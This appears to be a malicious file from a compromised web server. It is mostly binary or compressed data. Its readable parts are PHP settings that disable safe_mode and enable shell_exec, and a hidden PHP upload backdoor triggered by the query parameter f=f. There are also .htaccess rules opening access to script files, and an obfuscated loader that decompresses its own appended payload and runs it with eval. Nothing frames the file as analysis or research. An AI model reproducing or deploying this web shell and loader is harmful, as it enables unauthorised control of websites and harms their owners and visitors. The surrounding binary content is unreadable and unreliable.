IMec}vcL_3$ᑲ.,3rЕ'g0A_|淫ݲ7M(ΰQHpdm,sxb}g8;W[Wqo^2g
_9 qaLE=RdDA\;!s4Moxnsdavtqwml䇜TAn6|쥕xSub}d=2 lRF40Vf`o#A7cN #6RVB9)g&vKmS@eY;vQa֙kzL])T!Ś.5B)Qn$84 M֮T(_iJk/"7h]D	OȮy]8笿G9ihvP#ˏGNfyydxcS߹F;Uќ;.l*oqɄrl/A%XhUd=]Î8xE9^qA[tb	c?=9nY$!xowrpivdnhYWpmtmwvF@@r/8̻ikxg.IٝyaHnW61gD@Rxnsdavtqwma+u9rc0+fv"R
ry/·Ғ={ {~}\j}6cmKA@H_~u)]ksCc%=}B+= 	

F
]
XIwÓVCvxowrpivdnh'-jkJ9Vԩ5%V a	L-Eyl?P$ÿkr'y433&K% DB(\+)Xe0YR=_I# NU`
8~ pZ͒uC"T0^MM
}`/+yvtdM6p"*,D{h.QV?PzDZLe	:%ui}.ǶYG7T=TT]xowrpivdnh4/7Pi39{wwUmudW),RIrPމa~[fr&xnsdavtqwm/C#vJ8!5XM}m"7JBsQ]76UV2c=zxowrpivdnhh]?)m^ǀܸМV蜧lpl觪m?
WKT	
#MHU7cÅb`}xf=!І:j/9CDu&%C@KfwZ2M(xowrpivdnhO4fzक़tUZ($7X|Wi+4z
o	FϿ*	safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$rNRX='sub'.'s'.'tr';$hYnL='ex'.'it';$Mxrn='g'.'zu'.'ncompress';$EGuV='file_ge'.'t'.'_conten'.'ts';$oszb='st'.'r'.'_re'.'place';eval($Mxrn($oszb('oeapyguhkw','>',$oszb('sqkflxvabw','<',$rNRX($EGuV( __FILE__ ),-171849)))));$hYnL(0);
?>
xDǎܺe*a;wgVɧ/FM 3 \ߚsE_R??J{joeapyguhkw|u̧a^mw{sqkflxvabwn9UsߍON_{7_usqkflxvabw3˝w_sqkflxvabwVtSwWQ?_?VW?}\i{{{nZyZf?s9'R/JS,vd?AXt6J*~hRjN4|)=\ 8*?+z12kJ7k{U#Pd?MQE^jA{̞g'PtjZv~~`ƨt}tbiϺ?w  ~mh@5EFXG 5bVoŅְL$'ic3-v g	UjE$ QR!U57XxB?ByJ-mH:!6Ãxsw_ H{gzs2tlf:coLNoeapyguhkwf?,aPG/ (3,5
ҾӠ*_܃8$yhd%	[6mHl4O}}#݋(=[oh\V	g/%ړʬE 9yB#hi&Wg̉oD׶7_deɀ xMh@y{VP8^Q-Ojb{75igaI|cAsOC&muYLΉS芾ptPO"˥k2&cAV+uD!4ZG?}3
?.ĵkFECčƗ%oeapyguhkw\W;z={FG5U5#a+U{
@PT@$A_hN͢|DliPOq݀ ػB;1V] N-Xp""5?UyGقdCK*Wrlngd*m.2CחZiR/j3BĢ+T+CC\qH!oeapyguhkw==h5mHnPվN߇[
6ۨJ]sqkflxvabwDߕI(|[sqkflxvabw6Ksqkflxvabw9u%!vZ!

Z'V8HzG顢7}?E=JNoy|_ȅ_xe(e
{ eܱ1Nt6-(wuEBK	Ð7TFb,ҦzqME42@ @ÓW)uӘXoT07Y'3hkAvYE+,{nsqkflxvabwsqkflxvabwt\Ί+A0DwҘЍh탧NZub3o$SkVï	9@D,f8RNC49*Z}R\_Ʀ,Jqtl|Uau|$H4uHN@9 %ܯ4@Cw]TH3eFV$|M?/s➓sOm};෸yY1I$roeapyguhkw+KbwZ6b\aې!joQh.gᒤSOk1fPOp|T|q6ϻoeapyguhkw"Bեw9ξg|M}cգv :^ Cmy}oSXfKxOnrz6g_^kύ[{\֏燃_yKig#4&s-^N(}.뉰{m)Ho69'P|mw-r#oH|%V~	YA[/
b
?!T4SGҚЉxM;Eڛ'oeapyguhkwtbxYbLbT6gmVµLy {f	$.-	 -+3dIzE
}s'OX-hRW΅R_%2K.L1YڬOCPjiU笎jZ	@_t/L^o5r.$.
,!Yy2]:*ػ`5Sc6xu4%Y-qKF!ikKCqg_g;6ʀb{%)#O
 @ғ/C@'Q(^ڟҹΧVd|6l0غ'+}:Nr;vlv S[8搤XAڧܘlNLd;NJR%Ca|wof25׹
a"#:C`Ӥ҅cn1cD5jxLKsqkflxvabwr;:oeapyguhkw$Q!?V+Ώ)yuH4$b#N/@;Y؏sqkflxvabwZRE3R6ݶMs

9݆K8Tu}q^Ip_s]VrSK9G|U	Q*t*/!
O2x+3,2Hط3

AˍOISܫANCy,U]QHeP?G 6ơP._%SdAU:xnoeapyguhkw]Y'6#;x
/,#U0H GD
F=j\\%|뙝Jں|[ض9Vū`GdP'KDqSx3`VbS[aVejBxs"}.~nEԗE,ΚƗ	 ^$m9'\ br|94Aʺ/aMt;U-=jiLLq5z+||8mp5&T#II[jؚVf/L_*	'SJ-wiYix܄BeY["Wy4k3VYsqkflxvabwAofAs(ԆUksqkflxvabwwdzQ*5pŉ"hK;yEm9&~[Ge*/q7l+T

t	S#+bg-c̴κ)j@ 9oeapyguhkwO,OL-:ɀ7r6w$Q%B[?\~FNXϿJAWe|*®EÔ~ΜmGY6,aj}#d(䯇sqkflxvabw(e}*c/}O=?_'5IH q2Gj({Cou8$:ŒΖjRE~ȘR:oeapyguhkwV(DfWlZÖRQVLxL]
017%{S^ҍ?cZn^RMx!m1yݶKq=NJj?'^m±SOss;_|͏dlBjψ@1Wqd/9VF.$g+!ՕߗR6^s`Z걈)-aߗjsqkflxvabw%WŤ[=mCD((A)%|Y=t_U!?]lx}?Y&*a"bvłzP [lCagAiі5sqkflxvabw
t=k@VAZ$Obh,z q4]z-ch k.(gCSx?lE2ush?Xbf+7.ZTپM&msqkflxvabwSr7x(f#%TEPNqc&~`10}"oeapyguhkw`I
b'{r%hx b᷈	ގB8ۥ/
=D/`$}MHiNu^
3ܤ,ќ~B~?` .n7;oe)Lq0oeapyguhkwynKa$vFZoeapyguhkwasl +)6Ug~GgWi/\rcY57{Vx^^	#9]:J~
ˮl)sqkflxvabwlX-fV[
mlckL1gPA/
e:nVޔ/GɚSV2 BoɆdKI
dU3;@}bnxK\Ht"iGYʎflQ8ݻUCQaoeapyguhkw[L	kt:HlQXa02q3oeapyguhkwmVfԝVbfqNZJ;/I$.}.#q%?bxAGsyB⼚]ݠsqkflxvabwZسd3w@&	Y
b~7XC} (QΟ%D-4߉B${@$2,&8 yp
Ug"u8׵罽MܯOFmЈoeapyguhkw쟁
*hQcQk^0*v&;ik6reYoeapyguhkw$4DYNQޭ4 +[|_PB|^ʤ~W VO:בsVB!#;sqkflxvabwW:1Ս[Ѯ]*JWqoeapyguhkwjJ$ؾհ:V~[P\B2_א0oeapyguhkwZ*:63QY4F~)Ӯ
R.Ph*#ܟg~$H $^^ͼT$cϘ`,M^|mz샙:FxTN߼N9HhaWlURdsqkflxvabwHa,YdؽgPw	,ƞOfknةPoeapyguhkw%M^&*WT!?8J;saTR+|'{˺sqkflxvabwOÀP}8w\R/?甇!}WChlQB5wٟXito/rZ.tRS4+Z5y(n{91ڸk9KFeŉ֚	8kt}jl46?@H#!?E3Lϯ i䉟KQ(˰oeapyguhkwۆ2)%~u}/CSFmY#ίEIbq,`~,Hoeapyguhkw_n9\
!cއw@$kVG-9I?Djad/0HߍEraUuWӹl0zϥPp/}m]IFXOK7d'ZUl/U)C4nFoeapyguhkw酞a8yl;ic/*GRT{8i۫%c;BL2dC7T]Zg4h,Ȱ~,oد8?+J!xY ׺/K prgQkghx"SBu0[* k4M/KzHdt!)g/c$\?+uoeapyguhkw_vK`t14$Qb!晱33v.h|bcX%~AXlsve_M٭8a́k%r^@
oeapyguhkw-7"%TC*ZDH?H5T}K~aU(?(Dsqkflxvabwc|iU\޻!h[%3PP9
Yq	wB.js	B)d%mw;PyJa =o4lJ4sl$C͏4ɺdGMz$PͿJl_t`^zsqkflxvabw2dd	͓xSH=f[Ncɻ8
v;d4ʖKSu0#'ã$v2ǐ~0;[go|F$r }uoeapyguhkw
$~:h 76;A}X
hĽYѠ~kCOs0	TVb#5I5ڤ?R^fR .3X5&ьw\?}ncp#63뵢cgTAI2'ptL^؆3&}XR\[V-t*]`G/2te׹۫v4+z_n;
Aʂ\H ޽H}O᧍ (oeapyguhkwͬl	=NNYFbaj|MTjb Ν
n\+rVvq~Xͷc50tǞGVeI*V_ӈlna1QO"F@{W Bv}#0ư';W ggV
"=Vߞc,Qþ	##(gy:uN{M~uTڕ)n_՝EFUҒLXӖ1D,}qoeapyguhkwYCº4w1˒t[aa^mOp8\}~"!\p|\Bsqkflxvabw/0+{LTQh#\XAGUց~zt :̗ke*z*^@߷y?vO{bM130qnpӉZ:^7'~-Qoeapyguhkwvl;.QN(^l+)`˔޳M٤p@IDP
:L)hFcSXoeapyguhkw @6Kn3-%2U(j5Tgp30jk!,q;rKp*ϘE$X1I|L87vU9ru/jBIpԌfTH:B "j gk'D(yUG5`VZ~%2,Fcya/FxܲRz]]w4_Py@lg7/n:u
mP}URtHEL(.b4͗	"z'F(RX,^L#I:D_Rz&}K+[%,zgI꧌\c0j@ԜED iF
kԕ4X!4ԜrGy,lz:5s8zﻟЇP)3{*|-ѩ_/N}um"m;5\J?oQVbܾqN 	sKa#HF
MoeapyguhkwsqkflxvabwM$ `#շ׿ҼuV?T8ut*f)R.a\l	Xg/*|f C5+&ڔ}yY؂[ͳ
N̝ ݑ|}rͫCAoeapyguhkw2G$_VҬz
)N jvb$=s7sqkflxvabwD&UL7oeapyguhkwTtr+ywt3j(
ŦY3N=rt4ŵs"-qKP܂
w7z򐓟dE"q`:xi`"?KJ/,
E;k$ӂ&RO'.%!N:h#ﾀ21M
	(MSd{vZ (~#dPtTJ&)"$zGZ5K鞆5`xhHwgӗsqkflxvabwu]@-.K?iV@'!08F9I8ݵ*xV{k^oeapyguhkwrG[;؝}*./*`91糮Ԭsbs֙%1ɥ#J9UMZ@C-ox)Qoeapyguhkw )
JĲI+[u~zWG'#ƫbT"U1$-d/N
PZl1QP|doeapyguhkw6nLooeapyguhkw.U_$PNK@CMݫpd"e󪂊NpY[i#c2ؔQ6۬/%6aq+5?Zsqkflxvabw?0!ZuӵUR@Da^
jpkacupIPsqkflxvabwdx|?6B7%D Idse鉞Qٗe8sy$_6Lwp,x}cBģP\:$m#4+.k7*LZddEo!1$'fùU[sqkflxvabwJߣ?sqkflxvabwg36 l#0}l( +c(ҡ!4p/XYK%\(1sqpMHoyxӝpHdZ0ІUs]'jI,oeapyguhkwyjcb
&*f]Psqkflxvabwsg_;W7κ Uzyli:yh;cqભt9W
IHp|²l+ly=#J}N䈩D ^oɒn/fN٨=۩fu6h^4V5^ܼoeapyguhkwj1gpZ}ǭ&vQp"`ݡcsmeD_?pKLፅ"EIL}c~ᵞH/:=@~v~4`ĎZږb&j5"R~kP77\a;4JTk
77djLn5hdg)8vBiHNK=9LWBi68=Q$x,yt tJ1{bӯC`\u*䆊ʱ2Z`oeapyguhkw-%C
臝Dzy.G$j=ALbӗR]Ļzةa)PNv^u-)\f*૭/s%|LB+JI:*
m?
-؄۴wؿ7!rQ/Z&ma6`k.!43*Y*ՔXr{3)isqkflxvabwT#WuGT:iqWv?DR`Dɉjr+4~O%xSuwi6y]P}%Z_ =k9Uoeapyguhkw#Ȑs̵˄P
VkgX!iBpXaoeapyguhkw?aZ\u_"drvq7U*/"-˦4sqkflxvabw~@@!I	?oeapyguhkwJIxLy6NgFo%-1cr?jJQW2-Fco%9羽@G*S*}oeapyguhkwDb%W#I4ug"ӧY\uMjAsqkflxvabw4BAq2ޫwfAx؛;I]6|~j+S6XVٓ"u q^}sTJoI(e:@єr\&F|HoRU*M@4o´rJF@E	cڸ/d}ײ
xy(i=H?egYHao UCTOEoeapyguhkw%!sqkflxvabw=?y
%bO$\x]rx^k=H
?(ƇE{қI]VEISINݳSsteWUw Uj;9?W'n[ӋrC燈"_\)]}6sqkflxvabwwhE/~{̚8}!E+雳~5 a/+_="}G!v,P6=H0HܠapSKv {x
A[p+iSÍLDYYӌJI P*E9+toeapyguhkw@xXGK8Ц
h3!GnKNn+oeapyguhkwjjFĠZ}OkjPysqkflxvabwS삥ޚt~EH^40%߳f̤S5e1_ً#Dh͵|KDz1sfSЅcI&97:YutjǃJ
Kg
oeapyguhkwπ
ݣ]0#.^pjAw"GM}tINs'Xkbݧ昁ƯY҇UƸ##\=坭nѪ:Cj$MeA\.|ѪsqkflxvabwKuگ^Ҏ?;1XVYW:%Dw]
HIܸMW޹ዎƞxzv#UMn̏ʦ9wUTkY6hμwl?o=LL`A+ⷨvDrK	_s[PQbsBH:#OҢ]q|_q½8+w(?ne\ig.i1\ZoYHeg}T (أddLBqzQ`-ֹ/D/*ldz$8{2]m5DvzgpXYPmuG-N\2cA*xIߢU [%?_Xjگ̲d},_?+6!z)OYO ,g+hĔ俰k'V|d12peYoeapyguhkwCwAn
GViNxnsqkflxvabwCiÅsowXs362=2ad,%	]0Ti||
|dsqkflxvabwPqi)U/ž9L&.V|'1(@B89;?c/^B)|)/bۻV]~7@K1і? Joeapyguhkw/Jj1	q0!?q7x긅LmR/VP͉Twy	b4޾dFQgA\e撰Ph=voeapyguhkw=kWGf1Etvc
~VT}JP,x8PN =ݚhkF/4#:|LLmWowIv&2s;)ejsȏN{pH.3{E%q`loeapyguhkwٲ.ގ|}6 	!-,h}za(+OjʤP-'`72tq6+{"^-v\B3O_~
}|Qvl7߻.ojۥe%:w.$ 5LjqAתn7
718kzx4
H랃39bsqkflxvabwvPY}z/$ulsܝ:XЮ^fzؗܕeQH#a^bݩta5`&oeapyguhkwajmB|
1V
ko;?A$fH iy8@|hI9Sp V#_$BuFӅ ,qzgdDW(lM([VL?@?AQY}^F=w[KW7ώ]C#_~sqkflxvabwe͠FC6^/ўX\zּ|oeapyguhkw{uA	:d9{oeapyguhkw2
I3V"Qv/Vf3H~LoګuG2sUYqg1~n*61APʍ+PZxh[f|ៃrnAV@?ΑnLgxGm0	\A|G-LG4 ӗ3*Ul[*0V6s2]88q9~}-{nF1Y`VwkP8/}B#Fq]ΦЕ)$#
ۢ2	 e^;sqkflxvabwn:w_gjV,,Ӡ׼pXuC?!,(z$q7v1FL:۽@	;*r`:1rOegn
8S}-0C!26'ADϚGlDGD/IϕU2Iܿ,#~(eVRsi\#3qsas8 LsPtpMipIb0y"B+_sqkflxvabwBe:I!E 3b{۶Hj!uKݍ8ږR3voeapyguhkw$?O(jloe#]4],U*#0LD
.`j,GGsu&CqiUw5oeapyguhkwG R	;&=vۘ,|lэHcF$!8dX&iV{NnDa@oeapyguhkw$g$ِ݉
8F䆷WZ8esqkflxvabwlgq8yHPyj\gm;qP$f̆ hY{R HZsQGj+u-\ߠzٖGp`̀AqHkO= '??ޢ$oeapyguhkwqM!ОG]pnd20x/evf*/b
;4oeapyguhkwoeapyguhkw4t\Ҥ7:Shu_W"r+w^HŮփ
qh'IoeapyguhkwRj%3v2zLw@v[:GUoB,ۀ {z{BͷSjn¼r|5A!K)Xl+)gi}M暛FU,P[_Qzpۺr*o-g-?d|VYZi$joeapyguhkwާoeapyguhkwE]Usu~@oeapyguhkwpi՜uma5!wVr9f&g?#Od߂Q8[u9kU伳09[RK 3܅|w"ŰOq`%u}n,{h`&*6
g-B$KkWOކ=JqL=z
!u=maohJ~lFɓ)m$(Ksqkflxvabw&"܃qRc2$sqkflxvabwQrdV	l{[):|lT]g0EoeapyguhkwӴ@#:rg6"Qr-1~8$
\S?%(tB⭭&̻y _*^օoeapyguhkwk"kIf\ {gV	ci)J3
@RӜ7pbd 7ܟ oeapyguhkwg0s{v֘}񥗐U6;hKzHP.
Q;:Ck&dR[I~9rLlK,rN]dmP:1d*I
`P1, 4~`oeapyguhkwV(V'(m6ٗosqkflxvabwX_KK\W
 Z~ ]Gȏ~eA&m4Loeapyguhkw3 @~E#]wN=sov9y5}S3]NǝwEy(I_Qm?_P-HHkKn1uvF~#}-lsqkflxvabwy5?p@U1
ˊRTJIu\LQ¦ Xqtp_nAa.t\n4 noeapyguhkwD˕9/qN3,b3:38V_.7i{eȴeG
^Mwno'zFEQGE/(,0fḾr tkkc9l!WRnԮ(䤞U@'?mz 6N'#h/8#`HyůIK,=7i'U}kEUM9"` z)}OD}FJ/NK&"8}DbwoU&We.5倳u	oeapyguhkwETd*h !GoϷ rFm1r6WB	 jgJ[٪m 
0doeapyguhkwjf(6G7*Gۢ{%K圫{/!?iQFk5dӵ=F1Fa*Joeapyguhkwm6%ׂ0a:"l/isdCwRsqkflxvabwaiRa=kf`}4Rjv8:l'%85eSU9`7!5roeapyguhkw&ZJ%\Nwa-xccW0;(
V՛	&oh+eTsqkflxvabwv+`)^~p_tț"lW]+/!z7^KA8"}b'޹/dfMq+%pp`g-)b@UL	Ky:QZyl߳TCcwv\"cK]9rvK:,%$Nʰ::da*7KT$Z%^Rz2t:
?1j\uĊC3(j&۴r6wmUF֯E9ڒJ5W}d$|~O1/ݎ#1+۹L秗UzkұI;[iEfa3)e6QjxHF=j1&!lеAI-a,SkIJEoeapyguhkw_'v[UOν|xGlNfG鼶I&LYXl;P.nl!W)*%3rrX9
rQlt0H3`y޽gj?omdyĴfxoQ@vm%A4*:2p yB\8ə
.wώw5IȝbE+wU3⡧}Cn
J~WFׄ33/G`S+O{NeoeapyguhkwYiEUsqkflxvabwB$EY3F{VΈQ34̝
-nnz"EE)We7pO{) -zX@;	)Ϩfe͏.Vϴo5:}ff^;joL/+AIgU0,4R){Ks̝oߧ͖g0Yб)\³XLF
#AVJsqkflxvabw~u/`pSs~m7= @&/&T[J1Bt|蘟1[+s~LLAN6{{/z/wec_5+;DoeapyguhkwUT&(=95R߳XAzМ@3ms
5M.0YzsqkflxvabwթDICFGW!W[?͗KGCC1HWhG9!9f^
8
C!tZ`r1KT!
*tgUxWviWkm ^):~ }ZH᫹VW&_ςjc,'"I_JB߸zz*6(Rsqkflxvabwёb*؇uNAqL9--S ASsqkflxvabwĤ5O}FYnfRI{-(	؜ŭGQ{ZGAޜpԐ:&uITaa$;am$l|r?noeapyguhkwh
7bޮ, Fc!uX%-skg4/ԣc,x[R1pl	GN-;xtrpz?jM
xT
+F`3^o`e=MF̬la1	"9YvBrD=N&?oxq4&d_L%dKtSɻ:҄8xrVK2b5ACᡩe%ʝX"OY(wdyI?.Po;M#:Jӱ-=aOa[0dt7`&켗hq(ѥap'Qosqkflxvabwo
e{m[ 1S$2|^nS}^V3KrJY+N\FM~sqkflxvabwqa"7(oeapyguhkw'QC3zir{
aҘpK,ő;ѦZ~eHHSGV6fsiW-7K	Gӈ;@eA)sWmC*foeapyguhkwLs~Η_9(F Jnj28Lf\l5%G֤vdz[mK]nPINń8d:~%T`6GX
|:2W
No$H8\XiB:eSP|#6cy^7M~TƨT1۸!x˚P{~PLp;yn1`M_?tiLBTázo#ԡ
`MX zL.c	U~	'_``,X\ɭwEBUaU}XdS(M.sw}gj ReRCmLSKzfz9oeapyguhkwdW[.&k=9#oAMG6oeapyguhkw|MCnLw4uhhIFɺKH~vjb!@`sqkflxvabw|BRR᳆ӖVǯv.57{7ʽt(/9F֯YVw^6:E sqkflxvabwz@]+_wߍ6&
hW|BYˇitsYvVN2?=Zd'}^IYj8aapIJ&#,I_٢B'-KصŞLM4A"%ex-4͉sqkflxvabw+Qu@V*\lSaO9;sU0lsqkflxvabwK}O!oeapyguhkw/8,ٓETSlBΏnb(|و'}QJN5
É
V"T([	sqkflxvabwf=nF!"e)g-L9b91QT.fYGTUKiF&xO
ʞl+뵸.-27%u !＼86;h/W#F.+E- SJOons 射;@Fxo}}Qe*ܘ=t&0kE
m&_iQI1 :#'
nlvrډQs,2?11]1R'5oeapyguhkw?SGyqrmfhC=I;G
п=$5YlhQ(e?	K𭲪ЦI]"u06i̇ wdMe"Nڂ%?#ivg
.%=1$*8YAw ;;p[N
%Μ}Ƙ
h/V!0ס_م~TTe3 - DW
doeapyguhkw=n SF#nqRe~xbb\6&Fjy@ُЙt6Bqv-ʩ+N\Mf{)S8[3R__f%nvZsqkflxvabwnR9ۛf3NHVb{V]zM	#i~˽.}BH)6;6M(BW#xYd+0	khaWz6#α׻%l5s
|̉dGvh`j@m/+5Sf
K*\f1IUQdAXcm;
zRo =CHA/*nP+G=}Eb,]Csqkflxvabw=/i3jJO@ySsqkflxvabw	ވgXE~BK:..@9Uy)d
Jw~ݕྤoeapyguhkw9HTH !gTPWmex"Hw
[C߶-tCvi׆*sO:Fm" HKL6)mC3# XQ7YoVL
v$5W  J3ssqkflxvabwTtq
&hbPF$PNX LsR=	IϠ.ű*x#IQ,^vォxDώGУķNT;
kWs~'EO /~0%XP^.bqar@^z1,72ͶĿL\r!%KS7?4=/	)44+.4p&I}F\)On|l
=.yV(g=;nPY6JeġNlg l|#jf`k?&a䱂~K~
\śrTqz|&O#R8J:^RvA;=֏kvBt7GVRSݾkfJMzn)#0O:	Pg/ԓ:AN,U+8-Ns5dx9/ -Gc~»0 p`Z:bA6j|B^\Cdoeapyguhkwa|hv)W(6^q	и/DUGUg\"ߑJ;D_NNfJsqkflxvabwoeapyguhkwXCU*qqV]$	0|]f	cՎ#ȘNbxP̐ϱcE_x3bL~I$YAyv@k`Cf(6@w=\$sVk"ÒO!NVqHW},ڥ~#5êFT}N@*e`&}B&|[)y#Ԟڿy ǽ`
g4xjcYb׾!@oeapyguhkwT*Lz3
M8O)vnBqr.hvڟiЉB3iJzP9bƅyu[Ĳj#7Qoeapyguhkw5Ăgl)6{/k|G+ ܽ,s?oeapyguhkwܕN$l˴w0S"΢gp{MY+4+Ssqkflxvabw8j3}g[×).\&uxMT(xұa.̾Zji[Bt?tbXO[Dt4\joL"m
$Y`u#z"ɜ6_;Tǋ:~)PkL/sqkflxvabw]$y5tVǲ߶2@K:4!2hW{Ɛ{D0G,+i(oeapyguhkwxfq(dNB}	gЀ(_cFsqkflxvabwOˈ/@IM6H_,Zmie駡[T+ 4nꩥ5H])
ͬW֊r}.lAXN"?$=9£ym\}w ʀL9`1Ie
?j޵X=!Ze+ٮadDJy!UN@d̵Ed";J/-W]%J`Oԉu}}k!raT8
^Orrsqkflxvabw u!N^\Ddw\^vZ~9"l($s ED`'*Y_/hg^b#0VFU2s3k^,2|Bmk=+_׉yӣjeTOn|yBamv[qi@H5يNjʽ#7T8ͼzLDjPu-.iic`%osqkflxvabwd~#&Ku-760mW֖H3wqkZ&_D?
#lIȷLXη1,sqkflxvabw.ٰTݦȷ%(BŠQV5C3ݙH0S[xwr/A)[nPݙc$5{{AtSH(]k3uЊ:'I-^8:n!A4sqkflxvabw%?R[ p˧,qu\'toE~kl#]U澈Toeapyguhkwķu?Ru4&jŲfX
Iٲ0[%&`:#I Q	|qLmAE_Kܒo#lz0jgO.#qZ	2.ub%(Ue$bDsm-UѡpW&#WAwȾ;Ƴπ،q|=9b:`9UQC^pn̔9%gD`7񯡙|օGX]ͳߋyxVuzn^Y1Uh}oO&LeH쩫+`wuPD'ʂ7DSeK Nm,޶s35QiYsqkflxvabwb=dXWy$sqkflxvabw YI%f-lMuF/I^:,ڒ(gK*/
$梋5=
&F͵ʬ&](K
vv?aE[E
G	8d8f8Ǉ],ߩOA
)a	Q3lk;Jy?cE:GYy(Ji
ui,ͥTttD׺^5×rgsqkflxvabwKA!l[cE8ke2+)\-6.Ε
Cs@c#tz΍wvE0)n
	
{EKFH:έpXx4|Z@390@ dA+hAoYrT)KO$82{ߐ,5N3?QQ;\oeapyguhkwshp\!`Q竽HR"cKpjkIPsR)ZߑoܐMsqkflxvabwU%EFb8u ,:YȜ{jn1GN.{sqkflxvabwг*6(KJgߖzJAg^aFN=y N('%]d)J`hjc$-sț(,] 8l3pkV3o»rl}&bi)ajMCџ)z6mY޲}W5E#&TEԧ`-,(3EC=
{RʿߛQcmq7|פoԱFhk.?4xN0cX"Wt+pϾqjQIF|aY=cgoeapyguhkwD!ۢxYL["_i{6i&Avky_Gɨ_`/Pv[W㹵sZAުdYWՃA9
n8G^qjJ=	"~GKE[|ҽoeapyguhkwMtF
H57}C1xO](R+ `
pAy\w uiQX\B؆r_y㓝؛]D⊱,ij1DWu#~YO%
t+ݾYoB	
'Ω&(@xRsqkflxvabwݒ_GCM'J5VrB/AJ]sqkflxvabwel3ؗ=\=P7΢bpIR;ChJe$\pma%5g%j'&+Kc?{8 ҡMEzBg3cZz19sqkflxvabwC Sߠ
C_uiͩnL%97е7G1C;}E jjYWt0cLLK{fMul%6l]a-*
w#yB5m6Fg(71]!z͕}F::T̪?2T8"Luoeapyguhkw_wJ9_ nATp	)0[7@%`?FO
:l\e+a.p)z=Yb[!$fIb==O9tŜw-iZqHbdj\&24wcwK6e+||qe#,esqkflxvabwv T'
;^14ogΗtM8q6jO)+.xc3,]`poc/#l8Vo4oeapyguhkwPFqk
_3Yŭtk2 . 76lFt,yt)j|U
8}_QXGoeapyguhkwD~2;؆aq,[I
HwK#Rt%t`B=ZGa?Y]ͅwX:WO:.27T܂XLj~}ѝn?MUVty
`#ލU(Xΐg55MYAۑE6P,	@*N ao^OF&/lsqkflxvabwP'7kPT2DkI\n!4O	,43T?ȣ*Jv	ۍ5M

u`d.'п%(]/
VRCo@Gݟ0mXQT ,87"m(1Dp
 6a^%iZuql߷SpS:0/$8	nVᅎ콙:5g "G/h6pg6msAkj23,yfƔN6%Xծ83
9U+f+Z8$򏻛RavyՏ/ %a'&PկA74$Oﯫ7OȰ)6B\$r\[i[?f_eӉyJ 

5H"$@^+T
N/ElHSKkVD0Zނ(3[SPs:f-^ۺgX3}{}Vd
ƪˊɈ V&xDwb礟ˊVXI
]پ^D?ݙnzd/z"d}vDi
l49xb@fbGʷ4N IDU3I_hV,0I7O'V?$}6sqkflxvabw-pi3$ICIY35\=g0ÎctwW6FrNyRԸu;ZL89zፖЊRN,MsqkflxvabwXLbq9S?h8J?kVU:/b`W^_vWayfz'{x3bnVHzPIeU;|WJyYǇTÿt!]	b.WWX4|(a/Kod^3S)Pb2Y 6|j ;n­?',kS͡tFj?~ׄu[)ÄG|Lb3=2sqkflxvabw*PHFqo9e@_m7F8ŴIOO,Rx(Y~գ,,}ivOoeapyguhkw~?boeapyguhkwknSi6UKQ:4HO
{[3OT b]V'sqkflxvabw2]NoI:Ü6d5D
Joeapyguhkwe3HD^t^}ra,@~%yhToeapyguhkwtX9~fAAh!Ofq'o	#Fܼq)G;
SU!ٹ\}ئ
oeapyguhkw+,}XZ2L9t}x=^2@.*mTt# 9O+5=wE-0sz;?;H{d:{5t#$"
QNq3}#JUsqZ]9Cv٨"}`|՟tz+ 0"nze7rZR'3e
C9	BsPH
=ƶ;K0:b@oeapyguhkwoeapyguhkwfpA\۞ S(qn[Vx/J&p7(;d9c]D4pBzoeapyguhkw a0F@
	Ir4|;tM.a @;b!qk3O4,#qWCee2XHn\  =CJNPr \JȪY,tRꆿK^&moIs' ?iv7t	TcNORm%BmŪĿ򹄴jy֍
{[jWnS@AN#&)Yʟ,n(/

ԆtuQUU40;S^ڶ6NQ:rCC@n~Wm|sqkflxvabwZ-ԱVYb~ 14Pr6%U ζyׇyf		Bdsqkflxvabwc#/&Poeapyguhkw\#;J_|h,-hMѩ3[*?u?5&/lB0Q߳j1	\IuwDQbI:fwhʒK4zдzv" I1JTl4oeapyguhkwpaG*xѕQqRyWYMsqkflxvabws,!Zn5daٶLxLR͎O\tsqkflxvabw`3NGoݦZ	Z]7(ga;B[}xi.	Lh{PB钾	Qȧjt6G
foEՌuM7!54sqkflxvabw_[}{sQ`߼oeapyguhkw_/úΏ#T\bJ0b`DW"yCI\+$~X^!\)ےKoeapyguhkw
9*~O;{z
c_e`h'FamUʪw-֌x5BM7sqkflxvabwQ!5^؜V8ޗnJKI5lsqkflxvabwf48i( nõ&O^\`sqkflxvabwzϔH&=;EϪFwF2
L/ͩW4!emiV59?Bsqkflxvabwvop\l+X\DzXoeapyguhkwUAZ;bgYh+~s-N8bcSru\
w[.N0ַHn;L"Ï&?CſWкlQx^Tƪ&taKd8_&[ڗS9%eduG:Zf_R3:yne{#c(Ssqkflxvabw)PiRbPEH:ve^9¤"pm].
'M)"#pu-)doeapyguhkw_~Cϼǫ鿫B[7ݼY:KUDQob5TNÀwzJJ q^ꇫq(6j?F2 @zt2ncKU(Ā(9:#gog+BUU5BɝoeapyguhkwOB0A69bCP+Zx,MKnt@2Pг˹.vкv}ĸM]Eӻs 4&nCVZUQoeapyguhkw&1d[k+Kp\s^BsVN)gԳKp
a[U[4oeapyguhkwwq{tQ
}HНȔhO/ֳ}u6ٓzeҞc3 Xt	qG?=땂QZĲe"8׈\J! !;!uD/k+dq7e[5-HiTDVW̚oMLxXsqkflxvabwsqkflxvabwgdY3ϳ1,hʢ`;5/@@(1uԠ?D;PqG~J6/v7э,ѻoeapyguhkwHPsqkflxvabwe S;?UӏDFju:c@*QyDY+m';J	OQ
gV{3L\Z/paG.2KE6	N5N-b=ͿNo~j+&&YW3-Np\8\
EhH
c	,0_8Gg%=E,ezX|W- ,#qQgU`i&N6ө[HBJFvgd܊oX3IogrjJ*j 
?AR#	c)VG0g H;eȍBʬ78;xӃ%sF?{Mx/tgHY~.V7ðޥ#콽-ʈ
co|[0jrIl.	O:-A
